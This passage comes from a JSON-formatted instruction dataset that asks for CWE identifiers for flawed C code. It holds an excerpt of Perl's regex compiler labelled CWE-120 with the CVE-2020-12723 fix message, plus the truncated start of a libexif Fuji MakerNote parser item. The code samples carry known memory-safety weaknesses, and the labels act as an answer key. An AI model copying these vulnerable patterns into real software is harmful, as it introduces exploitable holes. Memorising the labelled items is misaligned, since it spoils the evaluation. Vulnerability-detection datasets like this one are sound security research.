0;\n RExC_maxlen = 0;\n RExC_in_lookbehind = 0;\n RExC_seen_zerolen = *exp == '^' ? -1 : 0;\n#ifdef EBCDIC\n RExC_recode_x_to_native = 0;\n#endif\n RExC_in_multi_char_class = 0;\n\n RExC_start = RExC_copy_start_in_constructed = RExC_copy_start_in_input = RExC_precomp = exp;\n RExC_precomp_end = RExC_end = exp + plen;\n RExC_nestroot = 0;\n RExC_whilem_seen = 0;\n RExC_end_op = NULL;\n RExC_recurse = NULL;\n RExC_study_chunk_recursed = NULL;\n RExC_study_chunk_recursed_bytes= 0;\n RExC_recurse_count = 0;\n pRExC_state->code_index = 0;\n\n /* Initialize the string in the compiled pattern. This is so that there is\n * something to output if necessary */\n set_regex_pv(pRExC_state, Rx);\n\n DEBUG_PARSE_r({\n Perl_re_printf( aTHX_\n \"Starting parse and generation\\n\");\n RExC_lastnum=0;\n RExC_lastparse=NULL;\n });\n\n /* Allocate space and zero-initialize. Note, the two step process\n of zeroing when in debug mode, thus anything assigned has to\n happen after that */\n if (! RExC_size) {\n\n /* On the first pass of the parse, we guess how big this will be. Then\n * we grow in one operation to that amount and then give it back. As\n * we go along, we re-allocate what we need.\n *\n * XXX Currently the guess is essentially that the pattern will be an\n * EXACT node with one byte input, one byte output. This is crude, and\n * better heuristics are welcome.\n *\n * On any subsequent passes, we guess what we actually computed in the\n * latest earlier pass. Such a pass probably didn't complete so is\n * missing stuff. We could improve those guesses by knowing where the\n * parse stopped, and use the length so far plus apply the above\n * assumption to what's left. */\n RExC_size = STR_SZ(RExC_end - RExC_start);\n }\n\n Newxc(RExC_rxi, sizeof(regexp_internal) + RExC_size, char, regexp_internal);\n if ( RExC_rxi == NULL )\n FAIL(\"Regexp out of space\");\n\n Zero(RExC_rxi, sizeof(regexp_internal) + RExC_size, char);\n RXi_SET( RExC_rx, RExC_rxi );\n\n /* We start from 0 (over from 0 in the case this is a reparse. The first\n * node parsed will give back any excess memory we have allocated so far).\n * */\n RExC_size = 0;\n\n /* non-zero initialization begins here */\n RExC_rx->engine= eng;\n RExC_rx->extflags = rx_flags;\n RXp_COMPFLAGS(RExC_rx) = orig_rx_flags & RXf_PMf_FLAGCOPYMASK;\n\n if (pm_flags & PMf_IS_QR) {\n\tRExC_rxi->code_blocks = pRExC_state->code_blocks;\n if (RExC_rxi->code_blocks) {\n RExC_rxi->code_blocks->refcnt++;\n }\n }\n\n RExC_rx->intflags = 0;\n\n RExC_flags = rx_flags;\t/* don't let top level (?i) bleed */\n RExC_parse = exp;\n\n /* This NUL is guaranteed because the pattern comes from an SV*, and the sv\n * code makes sure the final byte is an uncounted NUL. But should this\n * ever not be the case, lots of things could read beyond the end of the\n * buffer: loops like\n * while(isFOO(*RExC_parse)) RExC_parse++;\n * strchr(RExC_parse, \"foo\");\n * etc. So it is worth noting. */\n assert(*RExC_end == '\\0');\n\n RExC_naughty = 0;\n RExC_npar = 1;\n RExC_parens_buf_size = 0;\n RExC_emit_start = RExC_rxi->program;\n pRExC_state->code_index = 0;\n\n *((char*) RExC_emit_start) = (char) REG_MAGIC;\n RExC_emit = 1;\n\n /* Do the parse */\n if (reg(pRExC_state, 0, &flags, 1)) {\n\n /* Success!, But we may need to redo the parse knowing how many parens\n * there actually are */\n if (IN_PARENS_PASS) {\n flags |= RESTART_PARSE;\n }\n\n /* We have that number in RExC_npar */\n RExC_total_parens = RExC_npar;\n\n /* XXX For backporting, use long jumps if there is any possibility of\n * overflow */\n if (RExC_size > U16_MAX && ! RExC_use_BRANCHJ) {\n RExC_use_BRANCHJ = TRUE;\n flags |= RESTART_PARSE;\n }\n }\n else if (! MUST_RESTART(flags)) {\n\tReREFCNT_dec(Rx);\n Perl_croak(aTHX_ \"panic: reg returned failure to re_op_compile, flags=%#\" UVxf, (UV) flags);\n }\n\n /* Here, we either have success, or we have to redo the parse for some reason */\n if (MUST_RESTART(flags)) {\n\n /* It's possible to write a regexp in ascii that represents Unicode\n codepoints outside of the byte range, such as via \\x{100}. If we\n detect such a sequence we have to convert the entire pattern to utf8\n and then recompile, as our sizing calculation will have been based\n on 1 byte == 1 character, but we will need to use utf8 to encode\n at least some part of the pattern, and therefore must convert the whole\n thing.\n -- dmq */\n if (flags & NEED_UTF8) {\n\n /* We have stored the offset of the final warning output so far.\n * That must be adjusted. Any variant characters between the start\n * of the pattern and this warning count for 2 bytes in the final,\n * so just add them again */\n if (UNLIKELY(RExC_latest_warn_offset > 0)) {\n RExC_latest_warn_offset +=\n variant_under_utf8_count((U8 *) exp, (U8 *) exp\n + RExC_latest_warn_offset);\n }\n S_pat_upgrade_to_utf8(aTHX_ pRExC_state, &exp, &plen,\n pRExC_state->code_blocks ? pRExC_state->code_blocks->count : 0);\n DEBUG_PARSE_r(Perl_re_printf( aTHX_ \"Need to redo parse after upgrade\\n\"));\n }\n else {\n DEBUG_PARSE_r(Perl_re_printf( aTHX_ \"Need to redo parse\\n\"));\n }\n\n if (ALL_PARENS_COUNTED) {\n /* Make enough room for all the known parens, and zero it */\n Renew(RExC_open_parens, RExC_total_parens, regnode_offset);\n Zero(RExC_open_parens, RExC_total_parens, regnode_offset);\n RExC_open_parens[0] = 1; /* +1 for REG_MAGIC */\n\n Renew(RExC_close_parens, RExC_total_parens, regnode_offset);\n Zero(RExC_close_parens, RExC_total_parens, regnode_offset);\n }\n else { /* Parse did not complete. Reinitialize the parentheses\n structures */\n RExC_total_parens = 0;\n if (RExC_open_parens) {\n Safefree(RExC_open_parens);\n RExC_open_parens = NULL;\n }\n if (RExC_close_parens) {\n Safefree(RExC_close_parens);\n RExC_close_parens = NULL;\n }\n }\n\n /* Clean up what we did in this parse */\n SvREFCNT_dec_NN(RExC_rx_sv);\n\n goto redo_parse;\n }\n\n /* Here, we have successfully parsed and generated the pattern's program\n * for the regex engine. We are ready to finish things up and look for\n * optimizations. */\n\n /* Update the string to compile, with correct modifiers, etc */\n set_regex_pv(pRExC_state, Rx);\n\n RExC_rx->nparens = RExC_total_parens - 1;\n\n /* Uses the upper 4 bits of the FLAGS field, so keep within that size */\n if (RExC_whilem_seen > 15)\n RExC_whilem_seen = 15;\n\n DEBUG_PARSE_r({\n Perl_re_printf( aTHX_\n \"Required size %\" IVdf \" nodes\\n\", (IV)RExC_size);\n RExC_lastnum=0;\n RExC_lastparse=NULL;\n });\n\n#ifdef RE_TRACK_PATTERN_OFFSETS\n DEBUG_OFFSETS_r(Perl_re_printf( aTHX_\n \"%s %\" UVuf \" bytes for offset annotations.\\n\",\n RExC_offsets ? \"Got\" : \"Couldn't get\",\n (UV)((RExC_offsets[0] * 2 + 1))));\n DEBUG_OFFSETS_r(if (RExC_offsets) {\n const STRLEN len = RExC_offsets[0];\n STRLEN i;\n GET_RE_DEBUG_FLAGS_DECL;\n Perl_re_printf( aTHX_\n \"Offsets: [%\" UVuf \"]\\n\\t\", (UV)RExC_offsets[0]);\n for (i = 1; i <= len; i++) {\n if (RExC_offsets[i*2-1] || RExC_offsets[i*2])\n Perl_re_printf( aTHX_ \"%\" UVuf \":%\" UVuf \"[%\" UVuf \"] \",\n (UV)i, (UV)RExC_offsets[i*2-1], (UV)RExC_offsets[i*2]);\n }\n Perl_re_printf( aTHX_ \"\\n\");\n });\n\n#else\n SetProgLen(RExC_rxi,RExC_size);\n#endif\n\n DEBUG_OPTIMISE_r(\n Perl_re_printf( aTHX_ \"Starting post parse optimization\\n\");\n );\n\n /* XXXX To minimize changes to RE engine we always allocate\n 3-units-long substrs field. */\n Newx(RExC_rx->substrs, 1, struct reg_substr_data);\n if (RExC_recurse_count) {\n Newx(RExC_recurse, RExC_recurse_count, regnode *);\n SAVEFREEPV(RExC_recurse);\n }\n\n if (RExC_seen & REG_RECURSE_SEEN) {\n /* Note, RExC_total_parens is 1 + the number of parens in a pattern.\n * So its 1 if there are no parens. */\n RExC_study_chunk_recursed_bytes= (RExC_total_parens >> 3) +\n ((RExC_total_parens & 0x07) != 0);\n Newx(RExC_study_chunk_recursed,\n RExC_study_chunk_recursed_bytes * RExC_total_parens, U8);\n SAVEFREEPV(RExC_study_chunk_recursed);\n }\n\n reStudy:\n RExC_rx->minlen = minlen = sawlookahead = sawplus = sawopen = sawminmod = 0;\n DEBUG_r(\n RExC_study_chunk_recursed_count= 0;\n );\n Zero(RExC_rx->substrs, 1, struct reg_substr_data);\n if (RExC_study_chunk_recursed) {\n Zero(RExC_study_chunk_recursed,\n RExC_study_chunk_recursed_bytes * RExC_total_parens, U8);\n }\n\n\n#ifdef TRIE_STUDY_OPT\n if (!restudied) {\n StructCopy(&zero_scan_data, &data, scan_data_t);\n copyRExC_state = RExC_state;\n } else {\n U32 seen=RExC_seen;\n DEBUG_OPTIMISE_r(Perl_re_printf( aTHX_ \"Restudying\\n\"));\n\n RExC_state = copyRExC_state;\n if (seen & REG_TOP_LEVEL_BRANCHES_SEEN)\n RExC_seen |= REG_TOP_LEVEL_BRANCHES_SEEN;\n else\n RExC_seen &= ~REG_TOP_LEVEL_BRANCHES_SEEN;\n\tStructCopy(&zero_scan_data, &data, scan_data_t);\n }\n#else\n StructCopy(&zero_scan_data, &data, scan_data_t);\n#endif\n\n /* Dig out information for optimizations. */\n RExC_rx->extflags = RExC_flags; /* was pm_op */\n /*dmq: removed as part of de-PMOP: pm->op_pmflags = RExC_flags; */\n\n if (UTF)\n\tSvUTF8_on(Rx);\t/* Unicode in it? */\n RExC_rxi->regstclass = NULL;\n if (RExC_naughty >= TOO_NAUGHTY)\t/* Probably an expensive pattern. */\n\tRExC_rx->intflags |= PREGf_NAUGHTY;\n scan = RExC_rxi->program + 1;\t\t/* First BRANCH. */\n\n /* testing for BRANCH here tells us whether there is \"must appear\"\n data in the pattern. If there is then we can use it for optimisations */\n if (!(RExC_seen & REG_TOP_LEVEL_BRANCHES_SEEN)) { /* Only one top-level choice.\n */\n\tSSize_t fake;\n\tSTRLEN longest_length[2];\n\tregnode_ssc ch_class; /* pointed to by data */\n\tint stclass_flag;\n\tSSize_t last_close = 0; /* pointed to by data */\n regnode *first= scan;\n regnode *first_next= regnext(first);\n int i;\n\n\t/*\n\t * Skip introductions and multiplicators >= 1\n\t * so that we can extract the 'meat' of the pattern that must\n\t * match in the large if() sequence following.\n\t * NOTE that EXACT is NOT covered here, as it is normally\n\t * picked up by the optimiser separately.\n\t *\n\t * This is unfortunate as the optimiser isnt handling lookahead\n\t * properly currently.\n\t *\n\t */\n\twhile ((OP(first) == OPEN && (sawopen = 1)) ||\n\t /* An OR of *one* alternative - should not happen now. */\n\t (OP(first) == BRANCH && OP(first_next) != BRANCH) ||\n\t /* for now we can't handle lookbehind IFMATCH*/\n\t (OP(first) == IFMATCH && !first->flags && (sawlookahead = 1)) ||\n\t (OP(first) == PLUS) ||\n\t (OP(first) == MINMOD) ||\n\t /* An {n,m} with n>0 */\n\t (PL_regkind[OP(first)] == CURLY && ARG1(first) > 0) ||\n\t (OP(first) == NOTHING && PL_regkind[OP(first_next)] != END ))\n\t{\n\t\t/*\n\t\t * the only op that could be a regnode is PLUS, all the rest\n\t\t * will be regnode_1 or regnode_2.\n\t\t *\n * (yves doesn't think this is true)\n\t\t */\n\t\tif (OP(first) == PLUS)\n\t\t sawplus = 1;\n else {\n if (OP(first) == MINMOD)\n sawminmod = 1;\n\t\t first += regarglen[OP(first)];\n }\n\t\tfirst = NEXTOPER(first);\n\t\tfirst_next= regnext(first);\n\t}\n\n\t/* Starting-point info. */\n again:\n DEBUG_PEEP(\"first:\", first, 0, 0);\n /* Ignore EXACT as we deal with it later. */\n\tif (PL_regkind[OP(first)] == EXACT) {\n\t if ( OP(first) == EXACT\n || OP(first) == EXACT_ONLY8\n || OP(first) == EXACTL)\n {\n\t\tNOOP;\t/* Empty, get anchored substr later. */\n }\n\t else\n\t\tRExC_rxi->regstclass = first;\n\t}\n#ifdef TRIE_STCLASS\n\telse if (PL_regkind[OP(first)] == TRIE &&\n\t ((reg_trie_data *)RExC_rxi->data->data[ ARG(first) ])->minlen>0)\n\t{\n /* this can happen only on restudy */\n RExC_rxi->regstclass = construct_ahocorasick_from_trie(pRExC_state, (regnode *)first, 0);\n\t}\n#endif\n\telse if (REGNODE_SIMPLE(OP(first)))\n\t RExC_rxi->regstclass = first;\n\telse if (PL_regkind[OP(first)] == BOUND ||\n\t\t PL_regkind[OP(first)] == NBOUND)\n\t RExC_rxi->regstclass = first;\n\telse if (PL_regkind[OP(first)] == BOL) {\n RExC_rx->intflags |= (OP(first) == MBOL\n ? PREGf_ANCH_MBOL\n : PREGf_ANCH_SBOL);\n\t first = NEXTOPER(first);\n\t goto again;\n\t}\n\telse if (OP(first) == GPOS) {\n RExC_rx->intflags |= PREGf_ANCH_GPOS;\n\t first = NEXTOPER(first);\n\t goto again;\n\t}\n\telse if ((!sawopen || !RExC_sawback) &&\n !sawlookahead &&\n\t (OP(first) == STAR &&\n\t PL_regkind[OP(NEXTOPER(first))] == REG_ANY) &&\n !(RExC_rx->intflags & PREGf_ANCH) && !pRExC_state->code_blocks)\n\t{\n\t /* turn .* into ^.* with an implied $*=1 */\n\t const int type =\n\t\t(OP(NEXTOPER(first)) == REG_ANY)\n ? PREGf_ANCH_MBOL\n : PREGf_ANCH_SBOL;\n RExC_rx->intflags |= (type | PREGf_IMPLICIT);\n\t first = NEXTOPER(first);\n\t goto again;\n\t}\n if (sawplus && !sawminmod && !sawlookahead\n && (!sawopen || !RExC_sawback)\n\t && !pRExC_state->code_blocks) /* May examine pos and $& */\n\t /* x+ must match at the 1st pos of run of x's */\n\t RExC_rx->intflags |= PREGf_SKIP;\n\n\t/* Scan is after the zeroth branch, first is atomic matcher. */\n#ifdef TRIE_STUDY_OPT\n\tDEBUG_PARSE_r(\n\t if (!restudied)\n Perl_re_printf( aTHX_ \"first at %\" IVdf \"\\n\",\n\t\t\t (IV)(first - scan + 1))\n );\n#else\n\tDEBUG_PARSE_r(\n Perl_re_printf( aTHX_ \"first at %\" IVdf \"\\n\",\n\t (IV)(first - scan + 1))\n );\n#endif\n\n\n\t/*\n\t* If there's something expensive in the r.e., find the\n\t* longest literal string that must appear and make it the\n\t* regmust. Resolve ties in favor of later strings, since\n\t* the regstart check works with the beginning of the r.e.\n\t* and avoiding duplication strengthens checking. Not a\n\t* strong reason, but sufficient in the absence of others.\n\t* [Now we resolve ties in favor of the earlier string if\n\t* it happens that c_offset_min has been invalidated, since the\n\t* earlier string may buy us something the later one won't.]\n\t*/\n\n\tdata.substrs[0].str = newSVpvs(\"\");\n\tdata.substrs[1].str = newSVpvs(\"\");\n\tdata.last_found = newSVpvs(\"\");\n\tdata.cur_is_floating = 0; /* initially any found substring is fixed */\n\tENTER_with_name(\"study_chunk\");\n\tSAVEFREESV(data.substrs[0].str);\n\tSAVEFREESV(data.substrs[1].str);\n\tSAVEFREESV(data.last_found);\n\tfirst = scan;\n\tif (!RExC_rxi->regstclass) {\n\t ssc_init(pRExC_state, &ch_class);\n\t data.start_class = &ch_class;\n\t stclass_flag = SCF_DO_STCLASS_AND;\n\t} else\t\t\t\t/* XXXX Check for BOUND? */\n\t stclass_flag = 0;\n\tdata.last_closep = &last_close;\n\n DEBUG_RExC_seen();\n /*\n * MAIN ENTRY FOR study_chunk() FOR m/PATTERN/\n * (NO top level branches)\n */\n\tminlen = study_chunk(pRExC_state, &first, &minlen, &fake,\n scan + RExC_size, /* Up to end */\n &data, -1, 0, NULL,\n SCF_DO_SUBSTR | SCF_WHILEM_VISITED_POS | stclass_flag\n | (restudied ? SCF_TRIE_DOING_RESTUDY : 0),\n 0);\n\n\n CHECK_RESTUDY_GOTO_butfirst(LEAVE_with_name(\"study_chunk\"));\n\n\n\tif ( RExC_total_parens == 1 && !data.cur_is_floating\n\t && data.last_start_min == 0 && data.last_end > 0\n\t && !RExC_seen_zerolen\n && !(RExC_seen & REG_VERBARG_SEEN)\n && !(RExC_seen & REG_GPOS_SEEN)\n ){\n\t RExC_rx->extflags |= RXf_CHECK_ALL;\n }\n\tscan_commit(pRExC_state, &data,&minlen, 0);\n\n\n /* XXX this is done in reverse order because that's the way the\n * code was before it was parameterised. Don't know whether it\n * actually needs doing in reverse order. DAPM */\n for (i = 1; i >= 0; i--) {\n longest_length[i] = CHR_SVLEN(data.substrs[i].str);\n\n if ( !( i\n && SvCUR(data.substrs[0].str) /* ok to leave SvCUR */\n && data.substrs[0].min_offset\n == data.substrs[1].min_offset\n && SvCUR(data.substrs[0].str)\n == SvCUR(data.substrs[1].str)\n )\n && S_setup_longest (aTHX_ pRExC_state,\n &(RExC_rx->substrs->data[i]),\n &(data.substrs[i]),\n longest_length[i]))\n {\n RExC_rx->substrs->data[i].min_offset =\n data.substrs[i].min_offset - data.substrs[i].lookbehind;\n\n RExC_rx->substrs->data[i].max_offset = data.substrs[i].max_offset;\n /* Don't offset infinity */\n if (data.substrs[i].max_offset < SSize_t_MAX)\n RExC_rx->substrs->data[i].max_offset -= data.substrs[i].lookbehind;\n SvREFCNT_inc_simple_void_NN(data.substrs[i].str);\n }\n else {\n RExC_rx->substrs->data[i].substr = NULL;\n RExC_rx->substrs->data[i].utf8_substr = NULL;\n longest_length[i] = 0;\n }\n }\n\n\tLEAVE_with_name(\"study_chunk\");\n\n\tif (RExC_rxi->regstclass\n\t && (OP(RExC_rxi->regstclass) == REG_ANY || OP(RExC_rxi->regstclass) == SANY))\n\t RExC_rxi->regstclass = NULL;\n\n\tif ((!(RExC_rx->substrs->data[0].substr || RExC_rx->substrs->data[0].utf8_substr)\n || RExC_rx->substrs->data[0].min_offset)\n\t && stclass_flag\n && ! (ANYOF_FLAGS(data.start_class) & SSC_MATCHES_EMPTY_STRING)\n\t && is_ssc_worth_it(pRExC_state, data.start_class))\n\t{\n\t const U32 n = add_data(pRExC_state, STR_WITH_LEN(\"f\"));\n\n ssc_finalize(pRExC_state, data.start_class);\n\n\t Newx(RExC_rxi->data->data[n], 1, regnode_ssc);\n\t StructCopy(data.start_class,\n\t\t (regnode_ssc*)RExC_rxi->data->data[n],\n\t\t regnode_ssc);\n\t RExC_rxi->regstclass = (regnode*)RExC_rxi->data->data[n];\n\t RExC_rx->intflags &= ~PREGf_SKIP;\t/* Used in find_byclass(). */\n\t DEBUG_COMPILE_r({ SV *sv = sv_newmortal();\n regprop(RExC_rx, sv, (regnode*)data.start_class, NULL, pRExC_state);\n Perl_re_printf( aTHX_\n\t\t\t\t \"synthetic stclass \\\"%s\\\".\\n\",\n\t\t\t\t SvPVX_const(sv));});\n data.start_class = NULL;\n\t}\n\n /* A temporary algorithm prefers floated substr to fixed one of\n * same length to dig more info. */\n\ti = (longest_length[0] <= longest_length[1]);\n RExC_rx->substrs->check_ix = i;\n RExC_rx->check_end_shift = RExC_rx->substrs->data[i].end_shift;\n RExC_rx->check_substr = RExC_rx->substrs->data[i].substr;\n RExC_rx->check_utf8 = RExC_rx->substrs->data[i].utf8_substr;\n RExC_rx->check_offset_min = RExC_rx->substrs->data[i].min_offset;\n RExC_rx->check_offset_max = RExC_rx->substrs->data[i].max_offset;\n if (!i && (RExC_rx->intflags & (PREGf_ANCH_SBOL|PREGf_ANCH_GPOS)))\n RExC_rx->intflags |= PREGf_NOSCAN;\n\n\tif ((RExC_rx->check_substr || RExC_rx->check_utf8) ) {\n\t RExC_rx->extflags |= RXf_USE_INTUIT;\n\t if (SvTAIL(RExC_rx->check_substr ? RExC_rx->check_substr : RExC_rx->check_utf8))\n\t\tRExC_rx->extflags |= RXf_INTUIT_TAIL;\n\t}\n\n\t/* XXX Unneeded? dmq (shouldn't as this is handled elsewhere)\n\tif ( (STRLEN)minlen < longest_length[1] )\n minlen= longest_length[1];\n if ( (STRLEN)minlen < longest_length[0] )\n minlen= longest_length[0];\n */\n }\n else {\n\t/* Several toplevels. Best we can is to set minlen. */\n\tSSize_t fake;\n\tregnode_ssc ch_class;\n\tSSize_t last_close = 0;\n\n DEBUG_PARSE_r(Perl_re_printf( aTHX_ \"\\nMulti Top Level\\n\"));\n\n\tscan = RExC_rxi->program + 1;\n\tssc_init(pRExC_state, &ch_class);\n\tdata.start_class = &ch_class;\n\tdata.last_closep = &last_close;\n\n DEBUG_RExC_seen();\n /*\n * MAIN ENTRY FOR study_chunk() FOR m/P1|P2|.../\n * (patterns WITH top level branches)\n */\n\tminlen = study_chunk(pRExC_state,\n &scan, &minlen, &fake, scan + RExC_size, &data, -1, 0, NULL,\n SCF_DO_STCLASS_AND|SCF_WHILEM_VISITED_POS|(restudied\n ? SCF_TRIE_DOING_RESTUDY\n : 0),\n 0);\n\n CHECK_RESTUDY_GOTO_butfirst(NOOP);\n\n\tRExC_rx->check_substr = NULL;\n RExC_rx->check_utf8 = NULL;\n RExC_rx->substrs->data[0].substr = NULL;\n RExC_rx->substrs->data[0].utf8_substr = NULL;\n RExC_rx->substrs->data[1].substr = NULL;\n RExC_rx->substrs->data[1].utf8_substr = NULL;\n\n if (! (ANYOF_FLAGS(data.start_class) & SSC_MATCHES_EMPTY_STRING)\n\t && is_ssc_worth_it(pRExC_state, data.start_class))\n {\n\t const U32 n = add_data(pRExC_state, STR_WITH_LEN(\"f\"));\n\n ssc_finalize(pRExC_state, data.start_class);\n\n\t Newx(RExC_rxi->data->data[n], 1, regnode_ssc);\n\t StructCopy(data.start_class,\n\t\t (regnode_ssc*)RExC_rxi->data->data[n],\n\t\t regnode_ssc);\n\t RExC_rxi->regstclass = (regnode*)RExC_rxi->data->data[n];\n\t RExC_rx->intflags &= ~PREGf_SKIP;\t/* Used in find_byclass(). */\n\t DEBUG_COMPILE_r({ SV* sv = sv_newmortal();\n regprop(RExC_rx, sv, (regnode*)data.start_class, NULL, pRExC_state);\n Perl_re_printf( aTHX_\n\t\t\t\t \"synthetic stclass \\\"%s\\\".\\n\",\n\t\t\t\t SvPVX_const(sv));});\n data.start_class = NULL;\n\t}\n }\n\n if (RExC_seen & REG_UNBOUNDED_QUANTIFIER_SEEN) {\n RExC_rx->extflags |= RXf_UNBOUNDED_QUANTIFIER_SEEN;\n RExC_rx->maxlen = REG_INFTY;\n }\n else {\n RExC_rx->maxlen = RExC_maxlen;\n }\n\n /* Guard against an embedded (?=) or (?<=) with a longer minlen than\n the \"real\" pattern. */\n DEBUG_OPTIMISE_r({\n Perl_re_printf( aTHX_ \"minlen: %\" IVdf \" RExC_rx->minlen:%\" IVdf \" maxlen:%\" IVdf \"\\n\",\n (IV)minlen, (IV)RExC_rx->minlen, (IV)RExC_maxlen);\n });\n RExC_rx->minlenret = minlen;\n if (RExC_rx->minlen < minlen)\n RExC_rx->minlen = minlen;\n\n if (RExC_seen & REG_RECURSE_SEEN ) {\n RExC_rx->intflags |= PREGf_RECURSE_SEEN;\n Newx(RExC_rx->recurse_locinput, RExC_rx->nparens + 1, char *);\n }\n if (RExC_seen & REG_GPOS_SEEN)\n RExC_rx->intflags |= PREGf_GPOS_SEEN;\n if (RExC_seen & REG_LOOKBEHIND_SEEN)\n RExC_rx->extflags |= RXf_NO_INPLACE_SUBST; /* inplace might break the\n lookbehind */\n if (pRExC_state->code_blocks)\n\tRExC_rx->extflags |= RXf_EVAL_SEEN;\n if (RExC_seen & REG_VERBARG_SEEN)\n {\n\tRExC_rx->intflags |= PREGf_VERBARG_SEEN;\n RExC_rx->extflags |= RXf_NO_INPLACE_SUBST; /* don't understand this! Yves */\n }\n if (RExC_seen & REG_CUTGROUP_SEEN)\n\tRExC_rx->intflags |= PREGf_CUTGROUP_SEEN;\n if (pm_flags & PMf_USE_RE_EVAL)\n\tRExC_rx->intflags |= PREGf_USE_RE_EVAL;\n if (RExC_paren_names)\n RXp_PAREN_NAMES(RExC_rx) = MUTABLE_HV(SvREFCNT_inc(RExC_paren_names));\n else\n RXp_PAREN_NAMES(RExC_rx) = NULL;\n\n /* If we have seen an anchor in our pattern then we set the extflag RXf_IS_ANCHORED\n * so it can be used in pp.c */\n if (RExC_rx->intflags & PREGf_ANCH)\n RExC_rx->extflags |= RXf_IS_ANCHORED;\n\n\n {\n /* this is used to identify \"special\" patterns that might result\n * in Perl NOT calling the regex engine and instead doing the match \"itself\",\n * particularly special cases in split//. By having the regex compiler\n * do this pattern matching at a regop level (instead of by inspecting the pattern)\n * we avoid weird issues with equivalent patterns resulting in different behavior,\n * AND we allow non Perl engines to get the same optimizations by the setting the\n * flags appropriately - Yves */\n regnode *first = RExC_rxi->program + 1;\n U8 fop = OP(first);\n regnode *next = regnext(first);\n U8 nop = OP(next);\n\n if (PL_regkind[fop] == NOTHING && nop == END)\n RExC_rx->extflags |= RXf_NULL;\n else if ((fop == MBOL || (fop == SBOL && !first->flags)) && nop == END)\n /* when fop is SBOL first->flags will be true only when it was\n * produced by parsing /\\A/, and not when parsing /^/. This is\n * very important for the split code as there we want to\n * treat /^/ as /^/m, but we do not want to treat /\\A/ as /^/m.\n * See rt #122761 for more details. -- Yves */\n RExC_rx->extflags |= RXf_START_ONLY;\n else if (fop == PLUS\n && PL_regkind[nop] == POSIXD && FLAGS(next) == _CC_SPACE\n && nop == END)\n RExC_rx->extflags |= RXf_WHITE;\n else if ( RExC_rx->extflags & RXf_SPLIT\n && (fop == EXACT || fop == EXACT_ONLY8 || fop == EXACTL)\n && STR_LEN(first) == 1\n && *(STRING(first)) == ' '\n && nop == END )\n RExC_rx->extflags |= (RXf_SKIPWHITE|RXf_WHITE);\n\n }\n\n if (RExC_contains_locale) {\n RXp_EXTFLAGS(RExC_rx) |= RXf_TAINTED;\n }\n\n#ifdef DEBUGGING\n if (RExC_paren_names) {\n RExC_rxi->name_list_idx = add_data( pRExC_state, STR_WITH_LEN(\"a\"));\n RExC_rxi->data->data[RExC_rxi->name_list_idx]\n = (void*)SvREFCNT_inc(RExC_paren_name_list);\n } else\n#endif\n RExC_rxi->name_list_idx = 0;\n\n while ( RExC_recurse_count > 0 ) {\n const regnode *scan = RExC_recurse[ --RExC_recurse_count ];\n /*\n * This data structure is set up in study_chunk() and is used\n * to calculate the distance between a GOSUB regopcode and\n * the OPEN/CURLYM (CURLYM's are special and can act like OPEN's)\n * it refers to.\n *\n * If for some reason someone writes code that optimises\n * away a GOSUB opcode then the assert should be changed to\n * an if(scan) to guard the ARG2L_SET() - Yves\n *\n */\n assert(scan && OP(scan) == GOSUB);\n ARG2L_SET( scan, RExC_open_parens[ARG(scan)] - REGNODE_OFFSET(scan));\n }\n\n Newxz(RExC_rx->offs, RExC_total_parens, regexp_paren_pair);\n /* assume we don't need to swap parens around before we match */\n DEBUG_TEST_r({\n Perl_re_printf( aTHX_ \"study_chunk_recursed_count: %lu\\n\",\n (unsigned long)RExC_study_chunk_recursed_count);\n });\n DEBUG_DUMP_r({\n DEBUG_RExC_seen();\n Perl_re_printf( aTHX_ \"Final program:\\n\");\n regdump(RExC_rx);\n });\n\n if (RExC_open_parens) {\n Safefree(RExC_open_parens);\n RExC_open_parens = NULL;\n }\n if (RExC_close_parens) {\n Safefree(RExC_close_parens);\n RExC_close_parens = NULL;\n }\n\n#ifdef USE_ITHREADS\n /* under ithreads the ?pat? PMf_USED flag on the pmop is simulated\n * by setting the regexp SV to readonly-only instead. If the\n * pattern's been recompiled, the USEDness should remain. */\n if (old_re && SvREADONLY(old_re))\n SvREADONLY_on(Rx);\n#endif\n return Rx; ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-120'], 'message': 'study_chunk: avoid mutating regexp program within GOSUB\n\ngh16947 and gh17743: studying GOSUB may restudy in an inner call\n(via a mix of recursion and enframing) something that an outer call\nis in the middle of looking at. Let the outer frame deal with it.\n\n(CVE-2020-12723)\n\n(cherry picked from commit c4033e740bd18d9fbe3456a9db2ec2053cdc5271)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: exif_mnote_data_fuji_load (ExifMnoteData *en,\n\tconst unsigned char *buf, unsigned int buf_size)\n{\n\tExifMnoteDataFuji *n = (ExifMnoteDataFuji*) en;\n\tExifLong c;\n\tsize_t i, tcount, o, datao;\n\n\tif (!n || !buf || !buf_size) {\n\t\texif_log (en->log, EXIF_LOG_CODE_CORRUPT_DATA,\n\t\t\t \"ExifMnoteDataFuji\", \"Short MakerNote\");\n\t\treturn;\n\t}\n\tdatao = 6 + n->offset;\n\tif (CHECKOVERFLOW(datao, buf_size, 12)) {\n\t\texif_log (en->log, EXIF_LOG_CODE_CORRUPT_DATA,\n\t\t\t \"ExifMnoteDataFuji\", \"Short MakerNote\");\n\t\treturn;\n\t}\n\n\tn->order = EXIF_BYTE_ORDER_INTEL;\n\n\tdatao += exif_get_long (buf + datao + 8, EXIF_BYTE_ORDER_INTEL);\n\tif (CHECKOVERFLOW(datao, buf_size, 2)) {\n\t\texif_log (en->log, EXIF_LOG_CODE_CORRUPT_DATA,\n\t\t\t \"ExifMnoteDataFuji\", \"Short MakerNote\");\n\t\treturn;\n\t}\n\n\t/* Read the number of tags */\n\tc = exif_get_short (buf + datao, EXIF_BYTE_ORDER_INTEL);\n\tdatao += 2;\n\n\t/* Remove any old entries */\n\texif_mnote_data_fuji_clear (n);\n\n\t/* Reserve enough space for all the possible MakerNote tags */\n\tn->entries = exif_mem_alloc (en->mem, sizeof (MnoteFujiEntry) * c);\n\tif (!n->entries) {\n\t\tEXIF_LOG_NO_MEMORY(en->log, \"ExifMnoteDataFuji\", sizeof (MnoteFujiEntry) * c);\n\t\treturn;\n\t}\n\n\t/* Parse all c entries, storing ones that are successfully parsed */\n\ttcount = 0;\n\tfor (i = c, o = datao; i; --i, o += 12) {\n\t\tsize_t s;\n\n\t\tif (CHECKOVERFLOW(o, buf_size, 12)) {\n\t\t\texif_log (en->log, 